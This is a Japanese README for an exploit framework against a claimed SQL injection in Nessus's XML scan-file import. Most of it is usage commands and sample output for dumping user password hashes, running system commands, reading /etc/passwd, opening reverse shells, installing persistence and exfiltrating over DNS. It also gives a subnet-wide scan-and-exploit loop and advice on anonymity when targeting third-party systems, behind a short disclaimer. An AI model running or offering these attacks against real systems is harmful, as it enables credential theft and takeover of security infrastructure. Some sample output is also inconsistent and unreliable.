🛡️ CVE-2026-57588 - Nessus SQLインジェクション エクスプロイトフレームワーク
📋 目次
🔍 概要
CVE-2026-57588 は、Tenable Nessus バージョン 10.12.0 以前 で発見された重大なSQLインジェクション脆弱性です。この脆弱性は .nessus スキャン結果ファイルをインポートする際のXML解析メカニズムに存在し、インポート権限を持つ認証済みユーザーがバックエンドのPostgreSQLデータベースに対して任意のSQLクエリを実行できるようになります。
⚠️ 脆弱性の詳細
🔬 技術的詳細
この脆弱性は、インポート処理中にXMLタグ値がSQLクエリに組み込まれる前に十分なサニタイズが行われないために発生します。悪意のある攻撃者は、以下のようなXMLタグに特別に細工されたSQLインジェクションペイロードを含む .nessus ファイルを作成できます:
hostname
fqdn
os
system-type
mac-address
netbios-name
権限を持つユーザーが悪意のあるファイルをインポートすると、サニタイズされていない値がPostgreSQLバックエンドに対して実行され、以下が可能になります:
- データベース列挙
- データ窃取
- コマンド実行
- ファイルシステムアクセス
- 永続化のインストール
✨ 機能
クリックして機能リストを展開
🎯 ペイロード管理
- 目的別に分類された13種類以上のペイロードタイプ
- テンプレートベースのペイロード生成
- カスタムペイロードの作成と検証
- パラメータ検証と構文チェック
- SQL構文の検証
🚀 エクスプロイト機能
- 並列実行対応のマルチステージエクスプロイト
- データベースフィンガープリンティングと列挙
- カスタムテーブル/カラム選択対応のデータ窃取
- ターゲットシステムでのコマンド実行
- ファイルシステムへのアクセスと読み取り
- 対話型セッション付きリバースシェル
- 永続化インストールメカニズム
- 時間ベースブラインドSQLインジェクション
- ブールベースブラインドSQLインジェクション
- エラーベースSQLインジェクション
- 高度なエクスプロイトのためのスタッククエリ
- アウトオブバンドDNS窃取
📊 レポートとロギング
- プロフェッショナルなスタイリングのHTMLレポート
- ドキュメント用のMarkdownレポート
- 自動化用のJSONレポート
- クイックレビュー用のテキストレポート
- 複数のレベルに対応したログローテーション
- 詳細な実行統計
- 整合性検証のためのファイルハッシュ
🛠️ 高度な機能
- 設定可能なジョブ数による並列実行
- ステルス操作のためのプロキシサポート
- SSL/TLS証明書の処理
- XML検証とスキーマチェック
- ライブエクスプロイトのための対話モード
- 信頼性のためのリトライメカニズム
- 低速接続のためのタイムアウト設定
📦 インストール
🐍 前提条件
- Python 3.7 以降
- pip(Pythonパッケージマネージャー)
- Git(任意、クローン用)
🔧 クイックインストール
# Clone the repository
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# Create and activate virtual environment
python3 -m venv venv
source venv/bin/activate # On Windows: venv\Scripts\activate
# Install dependencies
pip install -r requirements.txt
# Verify installation
python3 exploit.py --version
🐳 Dockerインストール
# Build the Docker image
docker build -t nessus-exploit .
# Run the tool
docker run -it --rm nessus-exploit generate -u https://test.com -p enum
📦 パッケージインストール
# Install as a package
pip install -e .
# Now you can run from anywhere
nessus-exploit generate -u https://test.com -p enum
🚀 クイックスタート
基本的な使い方
# Generate a basic enumeration exploit
python3 exploit.py generate -u https://test.com -p enum
# Generate advanced multi-stage exploit
python3 exploit.py generate -u https://test.com -p advanced -o exploit.nessus
# Extract data from database
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
コマンドヘルプ
# Show general help
python3 exploit.py --help
# Show generate command help
python3 exploit.py generate --help
# List all available payloads
python3 exploit.py list
💡 使用例
1. 基本的な列挙
python3 exploit.py generate -u https://test.com -p enum
期待される出力
[2026-07-22 10:15:23] [INFO] [*] Starting exploitation against https://test.com
[2026-07-22 10:15:23] [INFO] [*] Session: xK9mN2pQ5wR8yV7tJ4sL3fG6hD1
[2026-07-22 10:15:23] [INFO] [*] Payload: enum
[2026-07-22 10:15:23] [INFO] [*] Executing stage: fingerprint
[2026-07-22 10:15:24] [INFO] [+] Generated XML: exploit_20260722_fingerprint_101523.nessus (3847 bytes)
[2026-07-22 10:15:24] [INFO] [*] Executing stage: schema_dump
[2026-07-22 10:15:25] [INFO] [+] Generated XML: exploit_20260722_schema_dump_101524.nessus (4213 bytes)
[2026-07-22 10:15:25] [INFO] [+] Exploitation complete! Duration: 2.15s
============================================================
EXPLOITATION SUMMARY
============================================================
Target: https://test.com
Status: SUCCESS
Duration: 2.15s
Files Generated: 3
Reports Generated: 3
============================================================
2. 高度なマルチステージエクスプロイト
python3 exploit.py generate -u https://test.com -p advanced -o custom.nessus -v
3. データ窃取
# Extract user credentials
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# Extract with custom columns
python3 exploit.py generate -u https://test.com -p dump --table scan_results --columns scan_name,start_time,status
4. リバースシェル
# Start listener and generate exploit
python3 exploit.py generate -u https://test.com -p shell -lp 4444 -o shell.nessus
5. コマンド実行
# Execute basic commands
python3 exploit.py generate -u https://test.com -p exec --command "whoami && id && uname -a"
# Execute complex commands
python3 exploit.py generate -u https://test.com -p exec --command "ps aux | grep nessus"
6. ファイル読み取り
# Read system files
python3 exploit.py generate -u https://test.com -p file -f /etc/passwd
# Read application logs
python3 exploit.py generate -u https://test.com -p file -f /var/log/nessus/nessusd.log
7. 時間ベースブラインドインジェクション
# 5-second delay
python3 exploit.py generate -u https://test.com -p sleep -s 5
# 30-second delay for heavy tests
python3 exploit.py generate -u https://test.com -p sleep -s 30
8. プロキシサポート付き
# HTTP proxy
python3 exploit.py generate -u https://test.com -p advanced --proxy http://127.0.0.1:8080
# HTTPS proxy with authentication
python3 exploit.py generate -u https://test.com -p advanced --proxy https://user:[email protected]:8080
9. 並列実行
# Run with 8 parallel jobs
python3 exploit.py generate -u https://test.com -p advanced --jobs 8
# With custom timeout and retries
python3 exploit.py generate -u https://test.com -p advanced --jobs 4 --timeout 60 --retries 5
10. 詳細・静粛モード
# Verbose mode (detailed output)
python3 exploit.py generate -u https://test.com -p advanced -v --log-file debug.log
# Quiet mode (minimal output)
python3 exploit.py generate -u https://test.com -p advanced -q
📚 ペイロードタイプ
カテゴリ: フィンガープリンティング
| ペイロード | 説明 | パラメータ |
|---|
fingerprint | データベースのフィンガープリンティング | なし |
カテゴリ: UNION
| ペイロード | 説明 | パラメータ |
|---|
schema_dump | データベーススキーマのダンプ | なし |
data_exfil | テーブルデータの抽出 | table、columns |
カテゴリ: タイミング
| ペイロード | 説明 | パラメータ |
|---|
time_based | 時間ベースブラインドインジェクション | delay |
boolean_blind | ブールベースブラインド | condition、delay |
カテゴリ: ファイルアクセス
| ペイロード | 説明 | パラメータ |
|---|
file_read | システムファイルの読み取り | path、offset、length |
カテゴリ: コマンド実行
| ペイロード | 説明 | パラメータ |
|---|
command_exec | システムコマンドの実行 | command |
カテゴリ: リバースシェル
| ペイロード | 説明 | パラメータ |
|---|
reverse_shell | リバースシェルの確立 | host、port |
カテゴリ: 永続化
| ペイロード | 説明 | パラメータ |
|---|
persistence | 永続化のインストール | なし |
カテゴリ: エラーベース
| ペイロード | 説明 | パラメータ |
|---|
error_based | エラーベースインジェクション | query |
カテゴリ: スタック
| ペイロード | 説明 | パラメータ |
|---|
stacked_queries | スタッククエリ | query |
カテゴリ: アウトオブバンド
| ペイロード | 説明 | パラメータ |
|---|
oob_dns | DNS窃取 | host、data |
🎯 高度なシナリオ
シナリオ1: 完全侵害ワークフロー
# Step 1: Enumerate the database
python3 exploit.py generate -u https://test.com -p enum -v
# Step 2: Extract sensitive data
python3 exploit.py generate -u https://test.com -p dump --table nessus_users --columns username,password_hash,email
# Step 3: Establish persistence
python3 exploit.py generate -u https://test.com -p persist
# Step 4: Set up reverse shell
python3 exploit.py generate -u https://test.com -p shell -lp 4444
シナリオ2: ステルス操作
# Using proxy and quiet mode
python3 exploit.py generate -u https://test.com -p advanced \
--proxy http://127.0.0.1:8080 \
--no-ssl-verify \
-q \
-o stealth_scan.nessus
シナリオ3: 自動テストパイプライン
#!/bin/bash
# auto_exploit.sh - Automated exploitation script
TARGET="https://test.com"
OUTPUT_DIR="./results_$(date +%Y%m%d_%H%M%S)"
mkdir -p $OUTPUT_DIR
# Run all payloads
for payload in enum dump shell persist; do
echo "[*] Running payload: $payload"
python3 exploit.py generate -u $TARGET -p $payload -o "$OUTPUT_DIR/${payload}_scan.nessus" -q
done
# Generate comprehensive report
python3 exploit.py report -i "$OUTPUT_DIR" -o "$OUTPUT_DIR/final_report"
シナリオ4: エンタープライズセキュリティ評価
# Network-wide assessment
for target in $(nmap -p 8834 --open 192.168.1.0/24 | grep "Nessus" | awk '{print $5}'); do
echo "[*] Testing: $target"
python3 exploit.py generate -u "https://$target" -p advanced -o "scan_${target}.nessus" -q
done
シナリオ5: 証拠収集
# Collect comprehensive evidence
python3 exploit.py generate -u https://test.com -p advanced \
--file /etc/hosts \
--command "systemctl status nessusd" \
--table nessus_users \
--columns username,password_hash,email,last_login \
-v \
--log-file evidence.log
📊 レポート
利用可能なレポート形式
レポートの生成
# Generate all report formats
python3 exploit.py report -i results.json -o report
# Generate HTML report only
python3 exploit.py report -i results.json -o report.html --format html
# Generate Markdown report
python3 exploit.py report -i results.json -o report.md --format markdown
レポートの内容
- ターゲット情報
- セッションIDとペイロードタイプ
- 実行統計
- 生成されたファイルのリスト
- 整合性確認用のファイルハッシュ
- エラーログ(存在する場合)
- 免責事項と警告
🔧 トラブルシューティング
一般的な問題と解決策
問題1: 接続エラー
# Error: Connection refused
# Solution: Check if Nessus is running and port is accessible
python3 exploit.py generate -u https://test.com:8834 -p enum
# Error: SSL certificate verification failed
# Solution: Disable SSL verification
python3 exploit.py generate -u https://test.com -p enum --no-ssl-verify
問題2: XML検証エラー
# Error: Invalid XML structure
# Solution: Disable XML validation
python3 exploit.py generate -u https://test.com -p enum --no-validate
問題3: ペイロードエラー
# Error: Missing required parameter
# Solution: Check payload requirements
python3 exploit.py validate -p command_exec
# Then provide required parameters
python3 exploit.py generate -u https://test.com -p exec --command "whoami"
問題4: 権限拒否
# Error: Cannot write files
# Solution: Check directory permissions
chmod 755 ./outputs/
python3 exploit.py generate -u https://test.com -p enum -o ./outputs/scan.nessus
問題5: タイムアウト問題
# Error: Operation timed out
# Solution: Increase timeout
python3 exploit.py generate -u https://test.com -p advanced --timeout 120
# Or use retries
python3 exploit.py generate -u https://test.com -p advanced --retries 5
🔐 セキュリティ上の考慮事項
⚠️ 重要な警告
- 法的コンプライアンス: 所有しているシステム、または明示的な書面によるテスト許可を得たシステムでのみ使用すること
- データ保護: 抽出した認証情報やデータは細心の注意を払って取り扱うこと
- 隔離環境: 常に隔離されたラボ環境でテストすること
- バックアップ: テスト前に必ずデータベースをバックアップすること
- 復元: テスト後にシステムを元の状態に復元すること
- 文書化: コンプライアンスのためにすべてのテスト活動を文書化すること
✅ ベストプラクティス
- 専用のテストアカウントを使用する
- すべての操作の詳細なログを保持する
- 第三者のシステムをテストする際は匿名性のためにVPN/プロキシを使用する
- 責任ある開示ガイドラインに従う
- チームに脆弱性について教育する
📝 ライセンス
このプロジェクトはMITライセンスの下で提供されています。詳細は LICENSE ファイルを参照してください。
🤝 コントリビューション
コントリビューションを歓迎します!お気軽にPull Requestを送信してください。
開発環境のセットアップ
# Clone repository
git clone https://github.com/CerberusMrXi/CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
cd CVE-2026-57588-Nessus-XML-Import-SQL-Injection-PoC
# Install development dependencies
pip install -r requirements-dev.txt
# Run tests
pytest
# Format code
black exploit.py
# Check linting
flake8 exploit.py
📞 サポート
ドキュメント
連絡先
📄 変更履歴
バージョン 1.0.0(2026-07-22)
初回リリース
- ✅ 包括的なエクスプロイトフレームワーク
- ✅ 目的別に分類された13種類のペイロードタイプ
- ✅ 並列実行対応のマルチステージエクスプロイト
- ✅ XML検証とスキーマチェック
- ✅ 複数のレポート形式(HTML、Markdown、JSON、テキスト)
- ✅ 自動ファイルハッシュと整合性検証
- ✅ ローテーション対応のプロフェッショナルなロギング
- ✅ ステルス操作のためのプロキシサポート
- ✅ 対話型セッション付きリバースシェル
- ✅ 永続化メカニズム
- ✅ コマンド実行とファイル読み取り
- ✅ 時間ベースおよびブールベースのブラインドインジェクション
- ✅ エラーベースおよびスタッククエリインジェクション
- ✅ アウトオブバンドDNS窃取
- ✅ Dockerサポート
- ✅ クロスプラットフォーム互換性
⬆ トップに戻る
⚠️ 免責事項: このツールは教育目的および許可されたセキュリティテスト専用です。無許可での使用は違法です。著者は誤用について一切の責任を負いません。